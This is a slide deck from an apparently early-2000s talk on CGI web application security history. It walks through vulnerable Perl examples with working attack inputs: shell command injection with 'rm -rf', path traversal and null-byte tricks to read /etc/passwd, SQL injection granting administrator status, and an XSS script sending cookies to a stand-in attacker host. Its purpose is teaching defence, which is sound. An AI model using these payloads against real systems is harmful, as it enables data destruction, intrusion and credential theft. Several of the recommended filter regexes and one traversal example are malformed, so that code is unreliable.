

# Web Application Security

Tying the Past and Present Together

**Gunther Birznieks**

[gunther@eXtropia.com](mailto:gunther@eXtropia.com)

# Overview

- Open Discussion
  - Feel Free to Ask Questions Anytime...
- Background
  - We've been giving out open source web applications since the start of the Web (originally Selena Sol's Scripts Archive).
  - Web Security holes are as old as the Web
- Motivation
  - To highlight key security issues that have popped up in the past and those that we are facing today with some speculation on tomorrow

# In The Beginning...

- Web Apps were simple...
- Then came persistence...
- With persistence came manipulating files...
- With manipulating files came bugs related to file handling...
  - Through just sheer probability, some percentage of bugs will be security bugs.

# In The Beginning...

- By far, the most common security hole announced in CGI scripts over the last 7 years has to do with file manipulation
  - Interesting Note: For non-webapps the most common problem is buffer overflow
    - Why this isn't a problem with webapps is probably because of the nature of the languages used to implement them.

## Now...

- The same bugs do still keep cropping up.
  - But now there is a greater probability of having twists.
- Basically, people are more aware of security issues.
  - Clearly with the amount of postings on security mailing lists such as Bugtraq, it's not enough...
  - There are still vulnerabilities for several reasons...

# Why The Same Vulnerabilities Still Exist

- Some of it is because most projects to go live on the Internet are rushed.
  - If a developer spends an hour coding a new feature his boss wanted that is very visible and fixing a potential security hole that the boss will never see... which do you think the developer will do?

# What's Up With The Holes?

- That really isn't it entirely. People who are aware of security do try to code conscientiously.
  - Not all developers are aware of security.
- Two different mindsets
  - Coding to a spec
  - Hacking
    - eg It's known that you don't have techies do all the testing... they know too much about what they *expect* the program to do.
- The possible vulnerabilities that exist today go beyond simple files, they consist of many more twists...and more complex environments

# CGI Security History

- We can trace CGI Security History to 4 major paradigms
  - Command-line input
  - File manipulation
  - Other Input Validation issues (eg SQL)
  - More complex language-specific or domino-effect holes
- The first two have been around for ages.
- The second two are relatively recent discoveries in terms of awareness among programmers

# CGI Security History Part I

- We won't spend much time on command-line and simple file input validation bugs
  - There is a higher degree of awareness for this.
- The next couple of slides show some vulnerabilities from case studies...

# Part I – Command-Lines

- Command-Line-Input Case Study
- form\_mail.pl
  - Many mutations exist
  - Some people called their first scripts to send email the same thing – so different versions exist by different authors
  - Point is, the earliest versions sent mail using the mail command.

# Part I – Command-Lines

```
require "cgi-lib.pl";  
  
$to      = $in{'to'};  
$subject = $in{'subject'};  
$msg     = $in{'msg'};  
open(FILE, "|mail $to -s $subject");  
print FILE $msg;  
close (FILE);
```

Massively insecure:

Consider:

[http://xx.com/cgi-bin/form\\_mail.pl?to=cracker@crack.com;rm%20-rf%20\\*](http://xx.com/cgi-bin/form_mail.pl?to=cracker@crack.com;rm%20-rf%20*;)

# Part I – File Tricks

- File Tricks Case Study
- `bbs_forum.pl`
  - An example from the first version of our own forum software from 6 years ago...
  - Note: the next slide is a simplification of the issue, but illustrates the point

# Part I – File Tricks

```
require "cgi-lib.pl";

$message_id = $in{'message'};
$forum_dir = "./CgiDiscussion";
open(FILE, "$forum_dir/$message_id");
while (<FILE>) {
    print <FILE>;
};
close (FILE);
```

**Insecure:**

**Normally:**

[http://xx.com/cgi-bin/bbs\\_forum.pl?message=1-2.msg](http://xx.com/cgi-bin/bbs_forum.pl?message=1-2.msg)

**But Consider:**

[http://xx.com/cgi-bin/bbs\\_forum.pl?message=../../../../etc/passwd](http://xx.com/cgi-bin/bbs_forum.pl?message=../../../../etc/passwd)

# Part I – File Tricks

- Actually, there is even yet another exploit...
- If you pay attention, there is also a command-line exploit!

# Part I – File Tricks

```
require "cgi-lib.pl";

$message_id = $in{'message'};
$forum_dir = "./CgiDiscussion";
open(FILE, "$forum_dir/$message_id");
while (<FILE>) {
    print <FILE>;
};
close (FILE);
```

**Insecure:** There is no < character to denote file Reading...

**Consider:**

[http://xx.com/cgi-bin/bbs\\_forum.pl?message=;rm%20-rf%20%2F|](http://xx.com/cgi-bin/bbs_forum.pl?message=;rm%20-rf%20%2F|)

**Becomes:**

Open (FILE, "\$forum\_dir/\$message\_id") with a pipe at the end!

# Part I – File Tricks

- Note that Taint Mode will help you here.
- Adding `-T` to the `#!/usr/bin/perl` line will catch the `|`.
- It won't catch the file reading issue though...
- But of course, for both the file and the command-line tricks, the best alternative is to filter the input.

# Part I – File Tricks

- Note that it is better to explicitly filter for what you want rather than deny what you think are bad characters.
- In the BBS example,
  - It's better to filter as `/(\d+)-(\d+)/`
  - Than to filter out...
    - `/` and `.` (eg `s/[\./]//g`)

# CGI Security History Part II

- These are the more interesting bugs cropping up these days...
- Motivation for this talk is to raise awareness for these issues.
- Case Studies to follow...
  - SQL replacing files as the next frontier of hacking information
  - Cross Site Scripting
  - Poison Null Byte

## Part II – SQL Tricks

- SQL Tricks Case Study
- www\_threads
  - Reference Rain Forest Puppy
  - “How I Hacked PacketStorm”
  - <http://packetstorm.securify.com/0002-exploits/rfp2k01.txt>

## Part II – SQL Tricks

- Files are an easy concept for most people to grasp
  - Most CGI apps used file backends because of this.
  - Most Bugs happen because of this.
  - But now that more CGI programmers use SQL, this is also ripe for problems.

## Part II – SQL Tricks

- First mistake:
  - SQL Query was output to the user's screen in the event of an error
  - Consider when RFP changed Board=general to Board=rfp in the HTTP query string

```
We cannot complete your request. The reason reported was:  
Can't execute query:  
SELECT B_Main,B_Last_Post  
FROM rfp  
WHERE B_Number=1  
. Reason: Table 'WWWThreads.rfp' doesn't exist
```

## Part II – SQL Tricks

- Because of the code on the previous screen, RFP was able to understand more about the database schema
- The offending code:

```
$sth = $dbh -> prepare ($query) or die "Query syntax error: $DBI::errstr.  
Query: $query";  
$sth -> execute() or die "Can't execute query: $query. Reason:  
$DBI::errstr";
```

- This is great for troubleshooting, but...
- Probably should have turned off CGI  
fatalToBrowser before production mode.

## Part II – SQL Tricks

- Second mistake:
  - Numeric data was not tested for being numeric...
  - In the update privileges section of the code, the sort order was a number (field: sort).
  - So an update in the form of
    - Set Bio = 'Puppy', Sort = 5, Display = 'threaded'
  - Can be changed to
    - Set Bio = 'Puppy', Sort = 5, **Status = 'Administrator'**, etc.
  - Why?

## Part II – SQL Tricks

- Sort was not being tested from CGI input
- The innocuous `sort=5` on the URL could be changed to
- **`Sort=5,%20Status='Administrator'%20`**
- To change the update to
  - Set Bio = 'Puppy', Sort = 5, Status = 'Administrator', etc.
- After all, the update SQL is just string concatenation at this point.

## Part II – SQL Tricks

- Positive Points
  - The quoted char data used Perl DBI's
    - `$dbh -> quote($Preview);`
  - Why?
    - Because if the user has a `'` in the string, then the quote gets escaped.

## Part II – SQL Tricks

- What to do about numbers?
- You should also run numbers through a digit check algorithm.
  - In Perl: `/^-?\d+$/` should return true.
    - You might do some mods to support decimals
    - Also could force numerical context
      - `$value += 0`

## Part II – SQL Tricks

- What about PHP?
  - `magic_quotes_gpc = on`
    - Or is it?
  - Use `get_magic_quotes_gpc()` to see the value and `addslashes()` function if not...
- Other alternatives
  - Many languages support a bind-variables/prepared statement method of calling queries so that the select statement is not actually generated.

# Part II – SQL Tricks

- Bind variables – Perl Example

```
my $sth = $dbh->prepare(q{
    INSERT INTO sales (product_code, qty, price) VALUES (?, ?, ?)
}) || die $dbh->errstr;
while (<>) {
    chop;
    my ($product_code, $qty, $price) = split /,/;
    $sth->execute($product_code, $qty, $price) || die $dbh->errstr;
}
$dbh->commit || die $dbh->errstr;
```

## Part II – SQL Tricks

- The Moral of the Story
  - Just because you 've graduated from flat-files doesn ' t mean you are out of the woods
  - You must still vigorously check your input as much as possible!

## Part II – Cross Site Scripting

- E\*Trade (and other online brokers) Case Study
- Credit to Jeffrey Baker for posting to BugTraq
- Vulnerability: allowing others to get your username and password
- Reference URL:
  - <http://www.securityfocus.com/archive/1/84923>

# Part II – Cross Site Scripting

- Cross Site Scripting
  - Definition
    - An application that allows user input to be redisplayed to other users unvalidated
    - This problem is actually very old.
    - Guestbook's written 7 years ago would have people enter in <H1> tags without closing them and ruining the HTML for everyone else.
    - What's new is the discovery of additional vulnerabilities related to this.

# Part II – Cross Site Scripting

- The Key Point
  - Because the site your are visiting is trusted, you don't expect the HTML to be malicious.
  - But if the HTML is coded by outsiders, you can't trust the site.

# Part II – Cross Site Scripting

- CERT Advisory
  - <http://www.cert.org/advisories/CA-2000-02.html>
  - This was posted February 2, 2000
  - Recent relative to beginning of Web (1994)
  - The core of the issue is Javascript and other forms of client side scripting
    - If HTML can be embedded in an application (eg a BBS message) then `<SCRIPT>` tags can be included which can collect user information and force a post of that data somewhere else.

## Part II – Cross Site Scripting

- In the case of E\*Trade, users had a choice of storing their password so that it could be remembered.
- What they didn't know is that this feature used a cookie.
- This cookie using CSS technique can have its value stripped and sent somewhere else.
- How?

# Part II – Cross Site Scripting

- How?
- Because another script on E\*Trade's domain (the domain of the cookie) could have HTML embedded in it which would tell the script to send the password somewhere else.

# Part II – Cross Site Scripting

- For example (simplified)....

```
<SCRIPT>
  var allCookies = document.cookie
  location =
    "http://www.cracker.org/cgi-bin/collector.cgi?data=allCookies"
</SCRIPT>
```

## Part II – Cross Site Scripting

- To be fair, E\*Trade was encrypting the password that was stored on the user's system.
- BUT
- It was a homegrown encryption with no key. Just a simple replacement algorithm taking each ASCII character and replacing it with a standard set of 2 characters. Easily decoded.
- The combination of problems resulted in Jeffrey Baker's post to BugTraq.
- To be fair, other sites have had similar problems. It is a difficult issue considering that the advisory came out a little over a year ago.

# Part II – Cross Site Scripting

- The Lesson?
  - CSS is an interesting problem because it exploits users rather than the server.
  - Even if your site is secure, it does not mean much if the users of your site get compromised
  - Check all input that will be redisplayed to other users so that `<HTML>` is removed.
    - Where you want HTML, make sure `<script>` and similarly “active” tags are removed.

## Part II – Poison Null Byte

- Unnamed Corporation Case Study
- This case involves an auth/session script
- More info on Null Bytes
  - Reference Rain Forest Puppy
  - <http://www.phrack.com/search.phtml?view&article=p55-7>

## Part II – Poison Null Byte

- In this case study, the organization was using a cookie-based authentication scheme.
- Inside the cookie was information about the session id.
- Unfortunately, the session id was not being checked for validity.
- The second mistake was...

## Part II – Poison Null Byte

- Second mistake
  - The session id was tied to a file similar to the form [session\_id].dat
  - The input was validated to some degree
  - `/^*.dat$/` (.dat exists at the end)
  - When it came to opening and rewriting the file though, Perl's `open()` command was used.

## Part II – Poison Null Byte

- Perl's open command passed the filename to the operating system
- The problem is that OS system calls treat null bytes (\0) as ending the string
- But Perl does not
- So although the file was being checked for validity by making sure it had a .dat suffix the script was still vulnerable...

## Part II – Poison Null Byte

- Consider
  - `http://x.com/cgi-bin/vulnerable.cgi?file=/etc/passwd%00.dat`
  - The file passes the Perl regex because it does end in `.dat`
  - But the system call to open the file ends at `/etc/passwd` allowing the user access!
  - *Special Note:* Multi-arg `system()` call won't fix this!

## Part II – Poison Null Byte

- The Lesson
  - Don't just filter on the extension of the file being valid.
  - Of course, it's better to filter on exactly what you want and nothing more. The following would have resolved the problem:
    - `/^\w+\.dat)$/` (set var equal to \$1 to untaint)
    - Rather than
    - `/(\.*\.dat)$/`

## Part II – Extra Credit

- Double dots or not double dots...
- So a lot of people know to filter input so that directory traversal doesn't work...
  - Or does it?
- If (`$file =~ /\.\/`) { die ("Stop! Hacker!"); }
- Similar to the Null Byte attack, system calls may interpret things different from what you expect...

## Part II – Extra Credit

- `http://x.com/cgi-bin/vulnerable.cgi?file=\\.\\.\\.\\.\\.Vetc/passwd`
- Note that the literal `\` in the URL. Perl will fail the regex from before
  - `^\.\./` just checks for literal periods.
- Should use something else like
  - `^\?\\.\\?\.\/` So that literal `\` will be filtered as well.
- Of course the best solution is...

## Part II – Extra Credit

- Best Solution
  - Rather than filter for what you don't want
  - Filter for exactly what you want and nothing more

# History Summary

- As we've seen, CGI security holes have evolved and become more complex
- Note: They are NOT limited to Perl
- Keeping Aware – Subscribe to a mailing list
  - Bugtraq (SecurityFocus.com)
  - PacketStorm
  - Read WWW Security FAQ Every so often
  - Downloading Free Software?
    - Subscribe to their mailing list so you can get security announcements
- Special Thanks to Ho Ming Shun

# Open Discussion

**Questions?**